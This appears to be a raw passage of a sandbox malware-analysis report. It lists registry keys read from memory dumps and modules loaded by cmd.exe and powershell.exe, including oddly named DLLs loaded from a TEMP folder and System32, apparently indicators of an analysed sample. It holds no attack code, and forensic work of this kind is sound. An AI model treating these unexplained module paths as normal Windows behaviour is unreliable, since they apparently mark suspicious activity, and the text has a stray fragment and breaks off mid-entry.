"\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008244.00000001.154951.28A90000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008244.00000001.154951.28A90000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00008244.00000001.154951.28A90000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00008244.00000001.154951.29D5A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00008244.00000001.154951.29D5A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00008244.00000001.154951.29D5A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008244.00000001.154951.29D5A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00008244.00000001.154951.29D5A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00008244.00000001.154951.29D5A000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008244.00000001.154951.43030000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008244.00000001.154951.43030000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00008432.00000000.155284.5B150000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008432.00000000.155284.5B150000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008432.00000000.155284.5B150000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008432.00000000.155284.5B150000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00008432.00000000.155284.5D350000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00008432.00000000.155284.75450000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00008432.00000000.155284.75450000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008432.00000000.155284.75450000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008432.00000000.155284.75450000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00008432.00000001.157204.4E3B8000.00000002.mdmp "HKLM\" in Source: 00000000-00008432.00000001.157204.4E3B8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00008432.00000001.157204.4E3B8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00008432.00000001.157204.4E3B8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00008432.00000001.157204.4E3B8000.00000002.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00008432.00000001.157204.5B150000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008432.00000001.157204.5B150000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008432.00000001.157204.5B150000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008432.00000001.157204.5B150000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008432.00000001.157204.75450000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008432.00000001.157204.75450000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00008432.00000002.159127.5B150000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008432.00000002.159127.5B150000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008432.00000002.159127.5B150000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008432.00000002.159127.5B150000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008432.00000002.159127.75450000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008432.00000002.159127.75450000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00008432.00000003.161383.5B181000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008432.00000003.161383.5B181000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008432.00000003.161383.5B181000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008432.00000003.161383.5B181000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008432.00000003.161383.75450000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008432.00000003.161383.75450000.00000004.mdmp3d:T3e65,"cmd.exe" loaded module "KERNEL32" at base 7ff982c00000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff9806f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff9806f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff9806f0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff982cb0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff9806f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff9806f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff9806f0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff960400000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ff982c00000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ff984250000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff9806f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff9806f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff9806f0000 "powershell.exe" loaded module "KERNEL32" at base 7ff982c00000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff960400000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff982c00000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff982990000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff95cd60000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 267838e0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff9805c0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff9785b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff952fc0000 "powershell.exe" loaded module "USER32.DLL" at base 7ff981730000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff9806f0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff96eb40000 "powershell.exe" loaded module "NTDLL" at base 7ff984250000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff981a90000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff981970000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff9519c0000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff9826a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff981a90000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff9823d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff950d50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff9502d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff95fa60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff97fa40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff9816a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff94e260000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff981a90000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff981a90000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff984250000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff981720000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff982ce0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff981400000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff95c7e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff981400000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff9814d0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff968a70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9785b0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff968760000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff94e0f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff94dfb0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff9814d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\G122O42C.DLL" at base 7ff95d6e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff94d700000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff95af00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff95aea0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff94cd90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff94ca20000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff9806f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff94c8d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff94c860000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff94c780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff94c730000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff978750000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff9804a0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff97f690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff97ebe0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff94c650000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff982c00000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff9804d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff982990000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff981a90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff94b940000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff9618c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff97cc20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ff96b250000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ff982ce0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff975ab0000 "powershell.exe" loaded module "MSISO.DLL" at base 7ff9686e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff9806f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff980a60000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff980100000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 12d2a520000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff95c8b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff94e0f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff94df80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff94d6d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff95c850000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff94cd60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff94c9f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff94c8a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff95c7e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff95aec0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff94c760000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff94c710000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff94c630000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff94c3f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff94b6e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff9611b0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 1905cc40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff95be80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff952490000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff95b210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff951a10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff961040000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff94f9a0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff976da0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff976d80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\G122O42C.DLL" at base 7ff972820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff960fa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff960e30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff95ccd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff95b0d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff94f0f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff95fab0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff94e780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff94e410000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff95af80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff95d6c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff95aea0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff95fa60000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff94e330000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff94d620000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff9727f0000 "powershell.exe" loaded module 